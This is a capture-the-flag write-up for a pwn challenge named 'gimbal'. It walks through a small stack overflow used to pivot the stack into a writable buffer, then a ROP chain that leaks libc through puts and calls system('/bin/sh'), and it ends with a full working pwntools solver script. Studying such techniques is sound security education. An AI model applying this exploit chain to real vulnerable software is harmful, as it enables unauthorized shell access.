gimbal
Keeping it steady.
10 min read
[ + ]Overview
Looks like we are prompted twice, then the program exits.
Here are the protections on the binary:
RELRO
Partial RELRO
STACK CANARY
No canary found
NX
NX enabled
PIE
No PIE
SELFRANDO
No Selfrando
Clang CFI
No Clang CFI found
SafeStack
No SafeStack found
Luckily, the binary protections are in our favour.
Let's throw it in IDA to get a better look at what's going on.
[ + ]Reversing
The meat of the challenge is happening in these three sub-routines - main
, vuln
, and do_it
.
main
does some standard initialization, then calls vuln
.
Now taking a look at vuln
. we can see the following:
0x400
bytes are allocated on the stack.what is your name?
is printed.0x1FFF
bytes are read from the console intos
.0x400
bytes froms
are moved into some area in memory calledname
.eax
is set to0
anddo_it
is called.- Finally the function exits.
This is where the fun begins:
0x20
bytes are allocated for the stack (size ofbuf
array).Wait, who were you again?
is printed to the console.0x28
bytes are read fromstdin
usingread
.kthnxbye
is printed.- Finally we exit.
So we can clearly see that we have a very limited overflow vulnerability. We can only overflow buf
by 0x8
bytes. This means we have just enough space to overwrite the stack base pointer.
Let's start pwning this thing.
[ + ]Pwning
To start we can just do some high-level recon on where things are being stored and how everything functions while debugging.
Let's start with vuln
sub-routine after the first prompt what is your name?
.
Here we see that if we send a large amount of A
s, after moving to name
, everything is stored in a r/w
section in memory at the base address 0x601080
. This is good to know. Moving on, let's see what's going on in the do_it
function before and after the second prompt Wait, who were you again?
.
Here we take a closer look at the base pointer and note that there are some remaining 0x41
s from our previous input after the allocated space on the stack, as well some addresses in the allocated space. Take note of the address stored at 0x7FFFFFFFC380
.
Once we overflow buf
with A
's, we can see that the address at 0x7FFFFFFFC380
was overwritten.
If we continue a bit, we can see that after the leave
instruction, 0x4141414141414141
is moved in rbp
. Interesting, let's continue.
If we return from the do_it
sub-routine and continue through the vuln
sub-routine, we can see that we segfault
during the leave
instruction.
Why did we segfault
here? It's because the leave
instruction is actually a high-level instruction for the following:
mov esp, ebp
pop ebp
What this means is that when ebp
is popped, it attempts to be popped to the stack address of 0x4141414141414141
which is obviously not possible.
Let's try this again, accept instead of sending A
s for the second prompt, we will specify the address of name
(0x601080
) where our A
s are stored after the first prompt.
Here is the before:
Here is after we send the address of name
:
As you can see, rbp
was overwritten and now points to 0x601080
where all of our A
s are. If we continue until we exit do_it
and reach the ret
instruction in vuln
, we will see that we don't segfault
on the leave
instruction, and that rsp
now points to name + 0x8
.
Here it is a little clearer:
Why is it pointing to name + 0x8
? Remember when I described the leave
instruction? Well the pop ebp
instruction put the value of ebp
to the top of the stack and incremented the stack pointer. This is important to keep in mind going forward.
Now, unfortunately the name
address space is only r/w
and we can't execute from there. If it was the case, we may be able to drop our shellcode directly there and find a way to execute it, but that's not the case.
Instead we need to create a ROP chain to get a shell. Ideally, we need to be able to call system
from libc
. This would be really easy if it was in the global offset table, and if we had a /bin/sh
string laying around in the binary itself, but we don't, so we need to leak libc
.
In order to do this, we need to be able to call the following instructions:
ret
- For stack alignment.pop rdi; ret
- to put the value at an address we want to leak on the stack.libc address
- The address of the value we want to leak.puts
- In order to print thelibc address
.- Some return address after we leak
libc
so that the program doesn'tsegfault
.
Lets not worry about address 5 yet.
To find some of these addresses, we can use the tool ROPgadget
which will find gadgets for us.
Here we have pop rdi; ret
and ret
.
Then we can use an address in the global offset table to leak a libc
address. Any of these work, but I chose 0x601018
to leak the puts
address.
However, we can't use the 0x601018
address to call puts
since 0x601018
holds the address to puts
and does not call puts
itself. Instead we need to find an address to go to which will call puts
. We can instead use puts@plt
which is defined in the procedure linkage table:
We see that at 0x400520
there is a sub-routine wrapper for the call to puts
, by using the instruction jmp 0x601018
. If you care curious about the plt
or got
this is a pretty good read. After all of that, we have the following addresses lined up:
ret
-0x400501
pop rdi; ret
-0x400793
libc address
-0x601018
puts
-0x400520
Before finding somewhere to return to, let's first test that we can leak the puts
address:
Great, it works. Let's look for somewhere to return to, we have a few options.
We want to be able to go back and exploit the vulnerability again to be able to get our shell. The main problem is that now we have a make-shift stack in name
. This is a problem because certain libc
sub-routines will try to allocate too much space (which can't be done so it will lead to a segfault
). So we need to avoid those sub-routines as much as possible - for example, the init
sub-routine in main
will cause issues for us, so we can't jump there.
Instead, let's look at returning directly to somewhere in vuln
.
Ideally, we want to avoid the box in red below. As you can see, a ton of space is allocated and written to the stack. We wan't to avoid this since our "stack" will never be capable of holding 0x400
bytes, and it will cause a segfault
when 0x400
bytes are attempted to be written to another area in memory other than name
.
Instead, we can jump to 0x400700
since we will be avoiding all of that.
What about do_it
? Well, we can see we have a problem area (highlighted in red). Again, this is because we allocate some space on the stack, and call puts
. We will run into issues with this later on in the exploit :).
By jumping to this address however, we won't be able to move a large amount of addresses into name
in the second stage of the exploit like we did in the first stage since we are skipping the beginning of vuln
, rather, we will fill the buf
array of length 0x20
with 4 addresses (which is more than enough), and use the overflow address to point to the start of buf
. This works since buf
which is on the "stack" is actually within name
.
Here is a diagram:
For now, the following payload is fine:
ret = 0x400501
pop_rdi = 0x400793
libc_leak = 0x601018
puts = 0x400520
return_vuln = 0x400700
buf = p64(ret) + p64(pop_rdi) + p64(libc_leak) + p64(puts) + p64(return_vuln)
Let's test it:
Alright, we have a segfault
after calling puts
. Like I was saying, we will run into issues with certain libc
functions. To get around this, we can add some space before our first payload. That means we need to take this into account when exploiting the overflow. The first stage of he exploit now looks like this:
# Set the stack to offset by 8000 bytes, less would work too.
stack_space = 1000
stack_location = 0x601078 + (0x8 * (stack_space))
# Stack location
stack = p64(stack_location)
# payload 1
# addresses
ret = 0x400501
pop_rdi = 0x400793
libc_leak = 0x601018
puts = 0x400520
return_vuln = 0x400700
# empty space
empty_space = p64(0) * stack_space
buf = empty_space + p64(ret) + p64(pop_rdi) + p64(libc_leak) + \
p64(puts) + p64(return_vuln)
# overflow - fill array with 0s then overflow with "stack" location
overflow = p64(0) * 4 + stack
Now let's focus on the second stage of the exploit, getting a shell. Here are the addresses that we will need to successfully get a shell:
ret
- For stack alignment.pop rdi; ret
- to put the value at an address we want to leak on the stack./bin/sh
string address - The address of the value we want to pass tosystem
.system
- The address ofsystem
inlibc
.
This is where the leak comes in handy. We can calculate the offset from the puts
leak to find the libc base
then use this base address to calculate the address of system
.
For the puts
and system
offsets, we can use gdb
with libc.so.6
:
For /bin/sh
we can use ROPgadget
to get the offset:
For convenience:
gdb -q /tmp/lima/gimbal/libc.so.6
(gdb) print puts
(gdb) print system
ROPgadget --binary /tmp/lima/gimbal/libc.so.6 --string "/bin/sh"
So now we have the following:
ret
-0x400501
pop rdi; ret
-0x400793
/bin/sh
string address -puts leak - 0x6f690 + 0x18cd57
system
-puts leak - 0x6f690 + 0x45390
Our second payload will look as follows:
# payload 2
# addresses
# ret = 0x400501
# pop_rdi = 0x400793
bin_sh = leak - 0x6f690 + 0x18cd57
system = leak - 0x6f690 + 0x45390
buf = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(stack_location - 0x8)
We are adding subtracting 0x8
from the stack_location
to ensure that the ret
call is hit, otherwise, after the leave
instruction we would execute directly pop_rdi
because of the increment.
That's all! After putting the pieces together we should get our shell.
[ + ]Solution
Solver
from pwn import *
from pwnlib.util.packing import *
# Context
context.arch = 'amd64'
context.log_level = 'DEBUG'
# Main vars
NETID = ''
HOST, PORT = '', 0
def pwn():
conn = process(['/tmp/lima/gimbal/gimbal_patched'])
# Set the stack to offset by 8000 bytes, less would work too.
stack_space = 1000
stack_location = 0x601078 + (0x8 * (stack_space))
# Stack location
stack = p64(stack_location)
# payload 1
# addresses
ret = 0x400501
pop_rdi = 0x400793
libc_leak = 0x601018
puts = 0x400520
return_vuln = 0x400700
# empty space
empty_space = p64(0) * stack_space
buf = empty_space + p64(ret) + p64(pop_rdi) + p64(libc_leak) + p64(puts) + p64(return_vuln)
# overflow - fill array with 0s then overflow with "stack" location
overflow = p64(0) * 4 + stack
conn.recvuntil('what is your name?\n')
conn.sendline(buf)
conn.recvuntil('Wait, who were you again?\n')
conn.send(overflow)
conn.recvline()
# conn.interactive()
address = conn.recvline()[:-1]
leak = u64(address.ljust(8, b'\x00'))
log.info("puts leak - " + hex(leak))
base = leak - 0x6f690
bin_sh = base + 0x18cd57
system = base + 0x45390
log.info("base - " + hex(base))
log.info("/bin/sh - " + hex(bin_sh))
log.info("system - " + hex(system))
buf = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(stack_location - 0x8)
conn.sendline(buf)
conn.recvline()
conn.interactive()
if __name__ == "__main__":
pwn()